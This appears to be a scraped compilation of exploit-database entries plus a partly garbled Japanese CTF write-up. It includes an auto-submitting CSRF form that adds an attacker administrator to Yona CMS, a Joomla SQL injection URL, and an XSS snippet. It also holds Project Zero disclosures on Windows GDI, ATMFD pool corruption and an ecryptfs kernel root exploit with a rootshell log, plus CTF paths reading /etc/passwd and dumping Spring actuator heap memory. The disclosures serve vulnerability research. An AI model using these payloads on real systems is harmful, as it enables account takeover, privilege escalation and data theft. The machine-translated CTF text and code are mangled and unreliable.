                                    <br></br>
                                </center>
                                <script>

                                    alert('XSS 2!')

                                </script>
                            </td>
                        </tr>
                    </tbody>
                </table>
            </font>
        </font>
    </body>
    </html>
HireHackking 
<!--
# Exploit Title: Yona CMS <= 1.3.x Remote Admin Add CSRF Exploit
# Exploit Author: s0nk3y
# Google Dork: -
# Date: 21/06/2016
# Vendor Homepage: http://yonacms.com
# Software Link: https://github.com/oleksandr-torosh/yona-cms/
# Version: 1.3.x
# Tested on: Ubuntu 16.04

Yona CMS is vulnerable to CSRF attack (No CSRF token in place) meaning
that if an admin user can be tricked to visit a crafted URL created by
attacker (via spear phishing/social engineering), a form will be submitted
to (http://localhost/admin/admin-user/add) that will add a
new user as administrator.
Once exploited, the attacker can login to the admin panel (
http://localhost/admin)
using the username and the password he posted in the form.

CSRF PoC Code
=============
-->

<form method="post" action="http://localhost/admin/admin-user/add">   
<input type="hidden" name="login" value="attacker"/>
<input type="hidden" name="email" value="attacker@email.com"/>
<input type="hidden" name="name" value="attacker"/>
<input type="hidden" name="role" value="admin"/>
<input type="hidden" name="password" value="attackerPassword"/>
<input type="hidden" name="active"/>
</form>
<script>
document.forms[0].submit();
</script>
HireHackking 
# Exploit Title: Joomla com_publisher component SQL Injection vulnerability
# Exploit Author: s0nk3y
# Date: 21-06-2016
# Software Link: http://extensions.joomla.org/extension/publisher-pro
# Category: webapps
# Version: All
# Tested on: Ubuntu 16.04

1. Description
Publisher Pro is the ultimate publishing platform for Joomla, turning your
site into a professional news portal or a magazine that people want to read!

2. Proof of Concept

Itemid Parameter Vulnerable To SQL Injection

http://server/index.php?option=com_publisher&view=issues&Itemid=[SQLI]&lang=en
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=757

As clearly visible in the EMF (Enhanced Metafile) image format specification ([MS-EMF]), there are multiple records which deal with DIBs (Device Independent Bitmaps). Examples of such records are EMR_ALPHABLEND, EMR_BITBLT, EMR_MASKBLT, EMR_PLGBLT, EMR_SETDIBITSTODEVICE, EMR_STRETCHBLT, EMR_STRETCHDIBITS, EMR_TRANSPARENTBLT, EMR_CREATEDIBPATTERNBRUSHPT, EMR_CREATEMONOBRUSH and EMR_EXTCREATEPEN.

The DIB format is relatively complex, since the headers and data itself may be interpreted in a number of ways depending on a combination of settings found in the headers. For example, various (de)compression algorithms can be applied to the data depending on the BITMAPINFOHEADER.biCompression field, and the image data can either be treated as RGB, or indexes into a color palette, depending on BITMAPINFOHEADER.biBitCount. The Windows API functions taking DIBs on input work under the assumption that the passed bitmap is valid, and particularly that there is enough memory in the image buffer to cover all picture pixels.

The EMF format essentially works as a proxy for GDI calls, and therefore the burden of a thorough DIB sanitization is on the underlying implementation. We have found the sanitization performed by a number of EMF record handlers in the gdi32.dll user-mode library to be insufficient, leading to heap-based out-of-bounds reads while parsing/loading the bitmap, and in some cases to a subsequent memory disclosure. Since the bugs are present in a core Windows library, all of its clients which allow the loading of arbitrary EMF images are affected. The severity is highest for software which makes it possible to recover the disclosed heap bytes, as an attacker could then steal secret information from the program's memory, or defeat the ASLR exploit mitigation mechanism to reliably take advantage of another vulnerability.

The DIB-embedding records follow a common scheme: they include four fields, denoting the offsets and lengths of the DIB header and DIB data, respectively (named offBmiSrc, cbBmiSrc, offBitsSrc, cbBitsSrc). A correct implementation should:

1) Verify that cbBmiSrc is within expected bounds, accounting for the DIB header, color palette etc.
2) Verify that the (offBmiSrc, offBmiSrc + cbBmiSrc) region resides within the record buffer's area.
3) Verify that cbBitsSrc is within expected bounds, and especially that it is larger or equal the expected number of bitmap bytes.
4) Verify that the (offBitsSrc, offBitsSrc + cbBitsSrc) region resides within the record buffer's area.

If any of the above steps is not executed correctly, it is possible for an attacker to craft an EMF file which causes gdi32.dll to attempt to create DIB objects based on out-of-bounds memory. As it turns out, many EMF record handlers fail to perform exhaustive sanitization. Our analysis was based on a 32-bit gdi32.dll file found in the C:\Windows\SysWOW64 directory on a fully patched Windows 7 operating system. The problems we have discovered are as follows:

--------------------------------------------------------------------------------
- MRALPHABLEND::bPlay
- MRBITBLT::bPlay
- MRMASKBLT::bPlay
- MRPLGBLT::bPlay
- MRSTRETCHBLT::bPlay
- MRTRANSPARENTBLT::bPlay
--------------------------------------------------------------------------------

Conditions (1) and (2) are not checked.

--------------------------------------------------------------------------------
- MRSETDIBITSTODEVICE::bPlay
--------------------------------------------------------------------------------

Condition (3) is not checked.

--------------------------------------------------------------------------------
- MRSTRETCHDIBITS::bPlay
--------------------------------------------------------------------------------

Conditions (1) and (3) are not checked.

--------------------------------------------------------------------------------
- MRSTRETCHDIBITS::bPlay
- MRCREATEMONOBRUSH::bPlay
- MREXTCREATEPEN::bPlay
--------------------------------------------------------------------------------

Conditions (1), (2), (3) and (4) are not checked.

Please note that seeing the general class of bugs and how widespread it is across various DIB-related EMF handlers, we only performed a cursory analysis to see which checks are missing from which functions. It is possible that there are more missing sanity checks in some of them that we haven't noted in the list above. We recommend performing a careful security audit of the handlers dealing with DIBs, to ensure they perform correct and complete sanitization of the input data.

In order to demonstrate that the bug is real and affects Internet Explorer (among other targets - Microsoft Office 2013 was also tested), we have hacked up a proof-of-concept EMF file, which includes a specially crafted EMR_STRETCHBLT record, which in turn contains a 8 bpp DIB, whose palette entries go beyond the record area. Each time the image is opened in Internet Explorer, it is displayed differently, as the garbage heap bytes beyond the allocated buffer change. Attached is also a screenshot of the proof of concept picture, as displayed by Internet Explorer 11 on Windows 7 when opened three times in a row.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39990.zip
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=836

Stacking filesystems, including ecryptfs, protect themselves against
deep nesting, which would lead to kernel stack overflow, by tracking
the recursion depth of filesystems. E.g. in ecryptfs, this is
implemented in ecryptfs_mount() as follows:

	s->s_stack_depth = path.dentry->d_sb->s_stack_depth + 1;

	rc = -EINVAL;
	if (s->s_stack_depth > FILESYSTEM_MAX_STACK_DEPTH) {
		pr_err("eCryptfs: maximum fs stacking depth exceeded\n");
		goto out_free;
	}


The files /proc/$pid/{mem,environ,cmdline}, when read, access the
userspace memory of the target process, involving, if necessary,
normal pagefault handling. If it was possible to mmap() them, an
attacker could create a chain of e.g. /proc/$pid/environ mappings
where process 1 has /proc/2/environ mapped into its environment area,
process 2 has /proc/3/environ mapped into its environment area and so
on. A read from /proc/1/environ would invoke the pagefault handler for
process 1, which would invoke the pagefault handler for process 2 and
so on. This would, again, lead to kernel stack overflow.


One interesting fact about ecryptfs is that, because of the encryption
involved, it doesn't just forward mmap to the lower file's mmap
operation. Instead, it has its own page cache, maintained using the
normal filemap helpers, and performs its cryptographic operations when
dirty pages need to be written out or when pages need to be faulted
in. Therefore, not just its read and write handlers, but also its mmap
handler only uses the lower filesystem's read and write methods.
This means that using ecryptfs, you can mmap [decrypted views of]
files that normally wouldn't be mappable.

Combining these things, it is possible to trigger recursion with
arbitrary depth where:

a reading userspace memory access in process A (from userland or from
    copy_from_user())
causes a pagefault in an ecryptfs mapping in process A, which
causes a read from /proc/{B}/environ, which
causes a pagefault in an ecryptfs mapping in process B, which
causes a read from /proc/{C}/environ, which
causes a pagefault in an ecryptfs mapping in process C, and so on.

On systems with the /sbin/mount.ecryptfs_private helper installed
(e.g. Ubuntu if the "encrypt my home directory" checkbox is ticked
during installation), this bug can be triggered by an unprivileged
user. The mount helper considers /proc/$pid, where $pid is the PID of
a process owned by the user, to be a valid mount source because the
directory is "owned" by the user.

I have attached both a generic crash PoC and a build-specific exploit
that can be used to gain root privileges from a normal user account on
Ubuntu 16.04 with kernel package linux-image-4.4.0-22-generic, version
4.4.0-22.40, uname "Linux user-VirtualBox 4.4.0-22-generic #40-Ubuntu
SMP Thu May 12 22:03:46 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux".

dmesg output of the crasher:

```
[   80.036069] BUG: unable to handle kernel paging request at fffffffe4b9145c0
[   80.040028] IP: [<ffffffff810c9a33>] cpuacct_charge+0x23/0x40
[   80.040028] PGD 1e0d067 PUD 0 
[   80.040028] Thread overran stack, or stack corrupted
[   80.040028] Oops: 0000 [#1] SMP 
[   80.040028] Modules linked in: vboxsf drbg ansi_cprng xts gf128mul dm_crypt snd_intel8x0 snd_ac97_codec ac97_bus snd_pcm snd_seq_midi snd_seq_midi_event snd_rawmidi vboxvideo snd_seq ttm snd_seq_device drm_kms_helper snd_timer joydev drm snd fb_sys_fops soundcore syscopyarea sysfillrect sysimgblt vboxguest input_leds i2c_piix4 8250_fintek mac_hid serio_raw parport_pc ppdev lp parport autofs4 hid_generic usbhid hid psmouse ahci libahci e1000 pata_acpi fjes video
[   80.040028] CPU: 0 PID: 2135 Comm: crasher Not tainted 4.4.0-22-generic #40-Ubuntu
[   80.040028] Hardware name: innotek GmbH VirtualBox/VirtualBox, BIOS VirtualBox 12/01/2006
[   80.040028] task: ffff880035443200 ti: ffff8800d933c000 task.ti: ffff8800d933c000
[   80.040028] RIP: 0010:[<ffffffff810c9a33>]  [<ffffffff810c9a33>] cpuacct_charge+0x23/0x40
[   80.040028] RSP: 0000:ffff88021fc03d70  EFLAGS: 00010046
[   80.040028] RAX: 000000000000dc68 RBX: ffff880035443260 RCX: ffffffffd933c068
[   80.040028] RDX: ffffffff81e50560 RSI: 000000000013877a RDI: ffff880035443200
[   80.040028] RBP: ffff88021fc03d70 R08: 0000000000000000 R09: 0000000000010000
[   80.040028] R10: 0000000000002d4e R11: 00000000000010ae R12: ffff8802137aa200
[   80.040028] R13: 000000000013877a R14: ffff880035443200 R15: ffff88021fc0ee68
[   80.040028] FS:  00007fbd9fadd700(0000) GS:ffff88021fc00000(0000) knlGS:0000000000000000
[   80.040028] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   80.040028] CR2: fffffffe4b9145c0 CR3: 0000000035415000 CR4: 00000000000006f0
[   80.040028] Stack:
[   80.040028]  ffff88021fc03db0 ffffffff810b4b83 0000000000016d00 ffff88021fc16d00
[   80.040028]  ffff880035443260 ffff8802137aa200 0000000000000000 ffff88021fc0ee68
[   80.040028]  ffff88021fc03e30 ffffffff810bb414 ffff88021fc03dd0 ffff880035443200
[   80.040028] Call Trace:
[   80.040028]  <IRQ> 
[   80.040028]  [<ffffffff810b4b83>] update_curr+0xe3/0x160
[   80.040028]  [<ffffffff810bb414>] task_tick_fair+0x44/0x8e0
[   80.040028]  [<ffffffff810b1267>] ? sched_clock_local+0x17/0x80
[   80.040028]  [<ffffffff810b146f>] ? sched_clock_cpu+0x7f/0xa0
[   80.040028]  [<ffffffff810ad35c>] scheduler_tick+0x5c/0xd0
[   80.040028]  [<ffffffff810fe560>] ? tick_sched_handle.isra.14+0x60/0x60
[   80.040028]  [<ffffffff810ee961>] update_process_times+0x51/0x60
[   80.040028]  [<ffffffff810fe525>] tick_sched_handle.isra.14+0x25/0x60
[   80.040028]  [<ffffffff810fe59d>] tick_sched_timer+0x3d/0x70
[   80.040028]  [<ffffffff810ef282>] __hrtimer_run_queues+0x102/0x290
[   80.040028]  [<ffffffff810efa48>] hrtimer_interrupt+0xa8/0x1a0
[   80.040028]  [<ffffffff81052fa8>] local_apic_timer_interrupt+0x38/0x60
[   80.040028]  [<ffffffff81827d9d>] smp_apic_timer_interrupt+0x3d/0x50
[   80.040028]  [<ffffffff81826062>] apic_timer_interrupt+0x82/0x90
[   80.040028]  <EOI> 
[   80.040028] Code: 0f 1f 84 00 00 00 00 00 66 66 66 66 90 48 8b 47 08 48 8b 97 78 07 00 00 55 48 63 48 10 48 8b 52 60 48 89 e5 48 8b 82 b8 00 00 00 <48> 03 04 cd 80 42 f3 81 48 01 30 48 8b 52 48 48 85 d2 75 e5 5d 
[   80.040028] RIP  [<ffffffff810c9a33>] cpuacct_charge+0x23/0x40
[   80.040028]  RSP <ffff88021fc03d70>
[   80.040028] CR2: fffffffe4b9145c0
[   80.040028] fbcon_switch: detected unhandled fb_set_par error, error code -16
[   80.040028] fbcon_switch: detected unhandled fb_set_par error, error code -16
[   80.040028] ---[ end trace 616e3de50958c35b ]---
[   80.040028] Kernel panic - not syncing: Fatal exception in interrupt
[   80.040028] Shutting down cpus with NMI
[   80.040028] Kernel Offset: disabled
[   80.040028] ---[ end Kernel panic - not syncing: Fatal exception in interrupt
```

example run of the exploit, in a VM with 4 cores, with Ubuntu 16.04 installed:

```
user@user-VirtualBox:/media/sf_vm_shared/crypt_endless_recursion/exploit$ ls
compile.sh  exploit.c  hello.c  suidhelper.c
user@user-VirtualBox:/media/sf_vm_shared/crypt_endless_recursion/exploit$ ./compile.sh 
user@user-VirtualBox:/media/sf_vm_shared/crypt_endless_recursion/exploit$ ls
compile.sh  exploit  exploit.c  hello  hello.c  suidhelper  suidhelper.c
user@user-VirtualBox:/media/sf_vm_shared/crypt_endless_recursion/exploit$ ./exploit
all spammers ready
recurser parent ready
spam over
fault chain set up, faulting now
writing stackframes
stackframes written
killing 2494
post-corruption code is alive!
children should be dead
coredump handler set. recurser exiting.
going to crash now
suid file detected, launching rootshell...
we have root privs now...
root@user-VirtualBox:/proc# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(vboxsf),1000(user)
```

(If the exploit crashes even with the right kernel version, try
restarting the machine. Also, ensure that no program like top/htop/...
is running that might try to read process command lines. Note that
the PoC and the exploit don't really clean up after themselves and
leave mountpoints behind that prevent them from re-running without
a reboot or manual unmounting.)

Note that Ubuntu compiled their kernel with
CONFIG_SCHED_STACK_END_CHECK turned on, making it harder than it used
to be in the past to not crash the kernel while exploiting this bug,
and an overwrite of addr_limit would be useless because at the
time the thread_info is overwritten, there are multiple instances of
kernel_read() on the stack. Still, the bug is exploitable by carefully
aligning the stack so that the vital components of thread_info are
preserved, stopping with an out-of-bounds stack pointer and
overwriting the thread stack using a normal write to an adjacent
allocation of the buddy allocator.

Regarding the fix, I think the following would be reasonable:

 - Explicitly forbid stacking anything on top of procfs by setting its
   s_stack_depth to a sufficiently large value. In my opinion, there
   is too much magic going on inside procfs to allow stacking things
   on top of it, and there isn't any good reason to do it. (For
   example, ecryptfs invokes open handlers from a kernel thread
   instead of normal user process context, so the access checks inside
   VFS open handlers are probably ineffective - and procfs relies
   heavily on those.)

 - Forbid opening files with f_op->mmap==NULL through ecryptfs. If the
   lower filesystem doesn't expect to be called in pagefault-handling
   context, it probably shouldn't be called in that context.

 - Create a dedicated kernel stack cache outside of the direct mapping
   of physical memory that has a guard page (or a multi-page gap) at
   the bottom of each stack, and move the struct thread_info to a
   different place (if nothing else works, the top of the stack, above
   the pt_regs).
   While e.g. race conditions are more common than stack overflows in
   the Linux kernel, the whole vulnerability class of stack overflows
   is easy to mitigate, and the kernel is sufficiently complicated for
   unbounded recursion to emerge in unexpected places - or perhaps
   even for someone to discover a way to create a stack with a bounded
   length that is still too high. Therefore, I believe that guard
   pages are a useful mitigation.
   Nearly everywhere, stack overflows are caught using guard pages
   nowadays; this includes Linux userland, but also {### TODO ###}
   and, on 64-bit systems, grsecurity (using GRKERNSEC_KSTACKOVERFLOW).

Oh, and by the way: The `BUG_ON(task_stack_end_corrupted(prev))`
in schedule_debug() ought to be a direct panic instead of an oops. At
the moment, when you hit it, you get a recursion between the scheduler
invocation in do_exit() and the BUG_ON in the scheduler, and the
kernel recurses down the stack until it hits something sufficiently
important to cause a panic.

I'm going to send (compile-tested) patches for my first two fix
suggestions and the recursive oops bug. I haven't written a patch for
the guard pages mitigation - I'm not familiar enough with the x86
subsystem for that.


Notes regarding the exploit:

It makes an invalid assumption that causes it to require at least around 6GB of RAM.

It has a trivially avoidable race that causes it to fail on single-core systems after overwriting the coredump handler; if this happens, it's still possible to manually trigger a coredump and execute the suid helper to get a root shell.

The page spraying is pretty primitive and racy; while it works reliably for me, there might be influencing factors that cause it to fail on other people's machines.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39992.zip
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=785

The Adobe Type Manager Font Driver (ATMFD.DLL) responsible for handling PostScript and OpenType fonts in the Windows kernel provides a channel of communication with user-mode applications via an undocumented gdi32!NamedEscape API call. The nature of the channel is similar to IOCTLs [1] of type METHOD_BUFFERED [2], in that it also uses a 32-bit escape code (equivalent to control codes in IOCTL), and input and output buffers employed to pass data to the driver and receive information back. We suspect that this little known interface was originally designed to be more universal, but since ATMFD has remained the only third-party font driver in Windows for the past two decades, in reality it can only be used to interact with this single module.

Considering that there hasn't been any public research into the security of ATMFD's NamedEscape handlers, it is likely that it hasn't been thoroughly audited since the creation of the code. The first public vulnerability disclosed in the interface was a 0-day pool corruption (stemming from a 16-bit signedness issue) discovered in Hacking Team's leaked data dump [3], and subsequently fixed by Microsoft in the MS15-077 bulletin [4]. That security issue motivated us to have a deeper look into the security posture of the code area.

The main hurdle in approaching the NamedEscape attack surface is that Microsoft provides no symbols or other debugging information for the ATMFD.DLL library via the Microsoft Symbol Server, which means that all functionality needs to be reverse-engineered from the ground up, with no hints available whatsoever. At least that was what we believed until recently, when we discovered that the user-mode counterpart of ATMFD is ATMLIB.DLL -- a legacy library rarely used by the operating system nowadays, but which comes with debug symbols and implements many of its features by making NamedEscape calls to the kernel-mode driver. This lead to the further discovery of the "Adobe Type Manager Software API for Windows 95 and Windows NT 4" [5] and "Adobe Type Manager Software API: Windows" [6] documents, which greatly helped us understand the semantics of most of the escape codes, some of the underlying structures and other specifics of the code.

All further analysis presented below is relevant to an ATMFD.DLL file found on Windows 7 32-bit, version 5.1.2.247, md5sum e85bed746bbddcd29ad63f6085e1ce78. The driver currently supports 13 different escape codes in the range of 0x2500 - 0x2514. The bug discussed in this report resides in the handler of code 0x250C, which we have named "ATMGetGlyphName", based on the observation of its behavior and how it is used in the ATMLIB!ATMGetGlyphListW function.

Since the execution flow down the call stack is quite complex before we can reach the vulnerable condition, let's briefly summarize the major stages of execution:

  1) The i/o buffer size is enforced to be exactly 48 bytes.
  2) The ATMGetGlyphName handler function (atmfd+0x1F12) locates the font object based on its kernel-mode address provided at offset 4 of the i/o buffer.
  3) The font is mapped into memory (?) by a function at atmfd+0x5AC6.
  4) More logic follows depending on whether the font is a PostScript or OpenType one. We have found the PostScript-specific logic to be uninteresting, so we'll follow the OpenType one.
  5) A function at atmfd+0xDF10 (we call it "FormatOpenTypeGlyphName") is called with a controlled 16-bit glyph index and a pointer to offset 8 of the i/o buffer (to copy the name there).
  6) In order to retrieve the actual glyph name from the .OTF file, another function at atmfd+0x1A2D6 is invoked, we call it "GetOpenTypeGlyphName".

Here, the interesting functionality begins. If the glyph id is between 0 and 390, the name is obtained from a hard-coded list of names. Otherwise, it is extracted from the .OTF file itself, by reading from the Name INDEX [7]. The core of the function is as follows (in pseudo-code):

--- cut ---
  PushMarkerToStack();

  int glyph_name_offset = ReadCFFEntryOffset(glyph_id);
  int next_glyph_name_offset = ReadCFFEntryOffset(glyph_id + 1);

  *pNameLength = next_glyph_name_offset - glyph_name_offset;

  EnsureBytesAreAvailable(next_glyph_name_offset - glyph_name_offset);

  PopMarkerFromStack();
--- cut ---

The function addresses are as follows:

  +-------------------------+---------------+
  |        Function         |    Address    |
  +-------------------------+---------------+
  | PushMarkerToStack       | inlined       |
  | ReadCFFEntryOffset      | atmfd+0x1994D |
  | EnsureBytesAreAvailable | atmfd+0x18D11 |
  | PopMarkerFromStack      | atmfd+0x18B34 |
  +-------------------------+---------------+

The code construct is consistent with the general Name INDEX structure, which is as follows:

  +---------+------------------+------------------------------------------------+
  |  Type   |       Name       |                  Description                   |
  +---------+------------------+------------------------------------------------+
  | Card16  | count            | Number of object stored in INDEX               |
  | OffSize | offSize          | Offset array element size                      |
  | Offset  | offset [count+1] | Offset array (from byte preceding object data) |
  | Card8   | data[<varies>]   | Object data                                    |
  +---------+------------------+------------------------------------------------+

In order to extract any data from an index, it is necessary to read the offset of the interesting entry, and the next one (to calculate the length), which is what the function does. What are the PushMarkerToStack and PopMarkerFromStack functions, though? As it turns out, the font object being operated on has a 16-element stack (each element 32-bit wide). The ATMFD.DLL file contains multiple assertion strings, which show that the stack is internally named "HeldDataKeys", the element counter is "nHeldDataKeys", and a special -1 value pushed on the stack is "MARK":

  "fSetPriv->HeldDataKeys[ fSetPriv->nHeldDataKeys-1] == MARK"
  "fSetPriv->nHeldDataKeys >= 0"
  "fSetPriv->nHeldDataKeys > 0"
  "fSetPriv->nHeldDataKeys < MAXHELDDATAKEYS"

It is generally important for memory safety to never go beyond the bounds of the HeldDataKeys array, as doing otherwise would result in overwriting adjacent fields of the font object structure, or adjacent pool allocations. Therefore, management of the nHeldDataKeys field must be performed very carefully. It appears to be safe in the GetOpenTypeGlyphName function, as only one element is pushed and subsequently popped.

However, if we have a look into the EnsureBytesAreAvailable function, it turns out that if more bytes are requested than are found in the CFF table of the .OTF file, then an exception is generated and handled internally in the routine. One of the actions taken during the handling of the exception is a call to a function at atmfd+0x18C05, which pops all data from the stack until and including the first occurrence of -1. Since another element is also unconditionally popped at the end of GetOpenTypeGlyphName, two elements are popped for just one pushed, which corrupts the state of the nHeldDataKeys field and makes it possible to set it to a negative value.

In this specific case, we fully control the Name INDEX being used. Since it is possible to set the offset size to 4 bytes (through the offSize field mentioned above), we can fully control both 32-bit return values of the ReadCFFEntryOffset calls, and thus also their difference, which is passed as an argument to EnsureBytesAreAvailable.

In the simplest scenario, triggering the vulnerability in ATMGetGlyphName indefinitely will decrement the nHeldDataKeys field one by one, and overwrite earlier and earlier DWORDs on the pool with 0xffffffff (starting with the font object itself, and then moving onto adjacent pool allocations). This is sufficient to demonstrate pool corruption and a system crash; however, it is also possible to maintain a higher degree of control over what is written to the out-of-bounds memory region, by invoking other escape handlers which push more than just the marker, once nHeldDataKeys is already adjusted to where we want to write. This should enable easier and more reliable exploitation.

Another potential obstacle in exploitation could be the fact that the font being operated on must be identified by its kernel-mode address. In practice, however, this is not a problem, as the address can be quickly brute-forced by testing addresses nearby the addresses of other GDI objects (whose locations are available to user-mode programs). This technique was used in the HackingTeam exploit for escape 0x2514. To make it even simpler, the provided proof-of-concept code just brute-forces the entire 32-bit kernel address space, which only takes a few seconds to locate the font object and trigger the bug.

If we start an exploit which triggers the vulnerability 100 times on a system with Special Pools enabled, we should observe the following or similar bugcheck:

--- cut ---
  SPECIAL_POOL_DETECTED_MEMORY_CORRUPTION (c1)
  Special pool has detected memory corruption.  Typically the current thread's
  stack backtrace will reveal the guilty party.
  Arguments:
  Arg1: fe67ef50, address trying to free
  Arg2: fe67ee28, address where bits are corrupted
  Arg3: 006fa0b0, (reserved)
  Arg4: 00000023, caller is freeing an address where nearby bytes within the same page have been corrupted

  Debugging Details:
  ------------------

  [...]

  BUGCHECK_STR:  0xC1_23

  SPECIAL_POOL_CORRUPTION_TYPE:  23

  DEFAULT_BUCKET_ID:  VISTA_DRIVER_FAULT

  PROCESS_NAME:  csrss.exe

  CURRENT_IRQL:  2

  LAST_CONTROL_TRANSFER:  from 82930dd7 to 828cc318

  STACK_TEXT:  
  9f4963e4 82930dd7 00000003 c453df12 00000065 nt!RtlpBreakWithStatusInstruction
  9f496434 829318d5 00000003 fe67e000 fe67ee28 nt!KiBugCheckDebugBreak+0x1c
  9f4967f8 82930c74 000000c1 fe67ef50 fe67ee28 nt!KeBugCheck2+0x68b
  9f496818 82938b57 000000c1 fe67ef50 fe67ee28 nt!KeBugCheckEx+0x1e
  9f49683c 8293963d fe67ef50 fe67e000 fe67ef50 nt!MiCheckSpecialPoolSlop+0x6e
  9f49691c 82973b90 fe67ef50 00000000 fe67ef50 nt!MmFreeSpecialPool+0x15b
  9f496984 96a609cc fe67ef50 00000000 fe67ef60 nt!ExFreePoolWithTag+0xd6
  9f496998 96b44ec1 fe67ef60 09fe969f 00000000 win32k!VerifierEngFreeMem+0x5b
  WARNING: Stack unwind information not available. Following frames may be wrong.
  9f4969cc 96b43850 fe67ef68 09fe9553 00000000 ATMFD+0x14ec1
  9f496a00 96b329ab 9f496a24 96b4a736 96b6f024 ATMFD+0x13850
  9f496a08 96b4a736 96b6f024 fe744fc0 fe63ccf8 ATMFD+0x29ab
  9f496a24 96b41516 fe744fb0 09fe952f fe63ccf8 ATMFD+0x1a736
  9f496a7c 96b377e0 09fe95e7 96a60c8e 9f496b40 ATMFD+0x11516
  9f496ab4 96b34196 09fe95b7 96a60c8e 9f496b40 ATMFD+0x77e0
  9f496ae4 969ce0a1 fde3a898 fde3a898 9f496b80 ATMFD+0x4196
  9f496b1c 969ce2c4 fde3a898 fde3a898 00000000 win32k!PDEVOBJ::DestroyFont+0x67
  9f496b4c 96954607 00000000 00000000 00000001 win32k!RFONTOBJ::vDeleteRFONT+0x33
  9f496b74 969561fe 9f496b98 fde3a898 00000000 win32k!PUBLIC_PFTOBJ::bLoadFonts+0x6fb
  9f496ba4 96a1fcc4 00000001 ffbbc234 89a3f7f0 win32k!PFTOBJ::bUnloadWorkhorse+0x114
  9f496bcc 96a29ae9 9f496c58 0000002b 00000001 win32k!GreRemoveFontResourceW+0xa0
  9f496d14 8288ea16 00319768 0000002b 00000001 win32k!NtGdiRemoveFontResourceW+0x111
  9f496d14 76dd70d4 00319768 0000002b 00000001 nt!KiSystemServicePostCall
  0022fca4 76de6113 76de5e20 00000020 00000028 ntdll!KiFastSystemCallRet
  0022fd84 76dd6078 00000000 00000000 00000090 ntdll!RtlpAllocateHeap+0xe68
  0022fe14 76de60e4 76de6113 76ec93f1 75957040 ntdll!ZwQueryInformationProcess+0xc
  003b0108 00000000 00000000 00000000 00000000 ntdll!RtlpAllocateHeap+0xab2
--- cut ---

One could wonder if this issue could be triggered directly from within Internet Explorer, via an embedded .OTF font file and an .EMF image containing EMR_NAMEDESCAPE records. One obvious problem is that the font object needs to be identified by its kernel-mode address, which neither the EMF file or even the JavaScript code running in the browser knows. On 64-bit platforms, this address would have to be leaked into JS, which is not a trivial task since the value is not typically stored in the heap, and therefore impossible without using another vulnerability (e.g. an arbitrary read from the GDI handle table). On 32-bit platforms, it could actually be feasible to simply brute-force the address, by including an EMR_NAMEDESCAPE-based exploit chain for every location possible. This, while theoretically feasible, would blow the size of the EMF up to the orders of hundreds of megabytes, making a practical attack unrealistic.

The other obstacle is some obscure reference counting problem with ATMFD. In order for the same object (which contains the HeldDataKeys stack) to persist between multiple calls to NamedEscape (which is what makes it possible to underflow the stack by more than 4 bytes), it is necessary to reference the font after loading it in the system, e.g. with functions such as TextOut() or GetTextMetrics(). However, Internet Explorer does not seem to interact with the font object in any way after loading it in the system, and since the loading itself takes place via a AddFontMemResourceEx API call, the font is private and non-enumerable, meaning that it is impossible to reference it except for the returned handle itself. Until now, we haven't found a way to trigger a large pool corruption from the context of a website, but it could still be possible.

Attached you can find a proof of concept program, which together with the specially crafted .OTF font demonstrates a local pool corruption.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public.

References:
[1] https://msdn.microsoft.com/pl-pl/library/windows/desktop/aa363219%28v=vs.85%29.aspx
[2] https://msdn.microsoft.com/pl-pl/library/windows/hardware/ff565356%28v=vs.85%29.aspx
[3] https://bugs.chromium.org/p/project-zero/issues/detail?id=473
[4] https://technet.microsoft.com/library/security/ms15-077
[5] https://partners.adobe.com/public/developer/en/atm/5642.ATMWin95andNT.pdf
[6] https://partners.adobe.com/public/developer/en/atm/5073.ATM.API_Win.pdf
[7] https://partners.adobe.com/public/developer/en/font/5176.CFF.pdf


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39991.zip
HireHackking

web

easywill

問題解決策

湖湘杯-WriteUp

可変オーバーレイ

http://ECI-2ZEJ1GOYN9JH8HTY6TON.CLOUDECI1.ICUNQIU.COM/?NAME=CFILEVALUE=/ETC/PASSWD

Psychological Blogの最近の記事はPearcmd：https://ttang.com/archive/1312/を利用しています

湖湘杯-WriteUp 湖湘杯-WriteUp 湖湘杯-WriteUp

秋のペンテスト

問題を解決するためのアイデア

http://ECI-2ZE40JM526Y24NV2LKL3.CLOUDECI1.ICUNQIU.com:88888/許可バイパス/;/アクチュエーター/env/;/アクチュエーター/heapdump

湖湘杯-WriteUp復号化スクリプト

ImportBase64

intervertruct

print（base64.b64encode（struct.pack（ 'bbbbbbbbbbbbbbbbbb'、-126、-67,24、-71、-62、-122,61、-52,91,77）、-110,115、-43,100、-88,103）））））

＃gr0yuckgpcxbtzjz1wsozw==湖湘杯-WriteUpflag {3fa31850-8ee6-40f2-9b18-9ecf6cac176c}

逆

hideit

問題解決策

開いた後、SMCがあることがわかりました。単一のステップのデバッグでメイン関数が見つかりません。

出力文字列、パットの下のブレークポイントを発見し、2回目のブレークの後、メイン関数に戻り、関数ヘッダーに移動して、逆コンパイル

__int64__fastcallsub_24d61161bb0（__ int64a1）

{

//.

if（！（unsignedint）off_24d61163000（-2147483646i64、asoftwareclasse、v24））

{

V23=0;

（（void（__ fastcall*）（char*、_ qword、__ int64））unk_24d61162a0c）（v21,0i64,520i64）;

V22=66;

if（！（unsignedint）off_24d61163008（v24、akeyssecret、0i64、v23、v21、v22））

OFF_24D61163020（0I64,0I64、V21,0XFFFFFFFFI64、V14,260,0I64,0I64）;

}

OFF_24D611630F8（AfirstSecrether）;

V10=0i64;

v11=0;

（（void（__ fastcall*）（void*、__ int64*））unk_24d61161b50）（unk_24d6116324c、v10）;

V12=0i64;

strcpy（（char*）v12、（constchar*）v10）;

V13 [0]=114;

v13 [1]=514;

V13 [2]=19;

V13 [3]=19;

（（void（__ fastcall*）（char*、_ qword、__ int64））unk_24d61162a0c）（v20,0i64,512i64）;

v3=hidword（v12）;

V4=32;

